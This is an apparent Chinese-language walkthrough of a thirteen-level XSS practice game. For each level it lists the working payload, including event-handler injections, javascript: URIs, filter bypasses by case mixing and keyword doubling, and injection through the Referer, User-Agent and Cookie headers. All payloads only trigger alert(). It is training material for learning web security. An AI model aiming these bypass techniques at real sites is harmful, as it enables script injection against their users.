XSS小游戏【1-13关】

小野猪都有白菜拱2024-11-01 13:28

第一关

Payload：<script>alert(1)</script>

第二关

Payload：keyword=<script>alert(1)</script> 发现没有成功，F12发现需要闭合input 标签

再次输入payload：aaa"><svg οnlοad=alert(1)>

//当这个输入被插入到网页中时，浏览器会将其解析为HTML代码，并执行其中的JavaScript代码

第三关

Payload：<script>alert(1)</script>

Payload：' οnfοcus=javascript:alert('xss') ' 要点击搜索再次按下搜索框就会出现

第四关

payload：<script>alert(1)</script>

F12查看数据源码，注入测试后，发现过滤了>和<

Payload："οnclick="alert(111)

第五关

payload："><a href='javascript:alert(1)'>aa</a>

最后点击那两个蓝色的aa，就会提示你过关

第六关

payload："><a hReF='javascript:alert(1)'>aa</a>

第7关

Payload："><a hhrefref='javascscriptript:alert(1)'>'aa'</a>

第八关

payload：javascript:alert(1) 最后点击'友情链接'

第九关

payload：javascript:alert(1)//http://www.baidu.com

'添加友情链接->点击友情链接'

第十关

payload：?t_sort=" type="text" οnclick="alert(1)

第十一关(referer参数注入)

payload：referer:"type="text" οnclick="alert(1)

第十二关（user-agent参数注入）

payload：User-Agent: "type="text" οnclick="alert(1)

第十三关（cookie参数绕过）

payload：Cookie: user="type="text" οnclick="javascript:alert(1)

保护cookie值,用到setcookie函数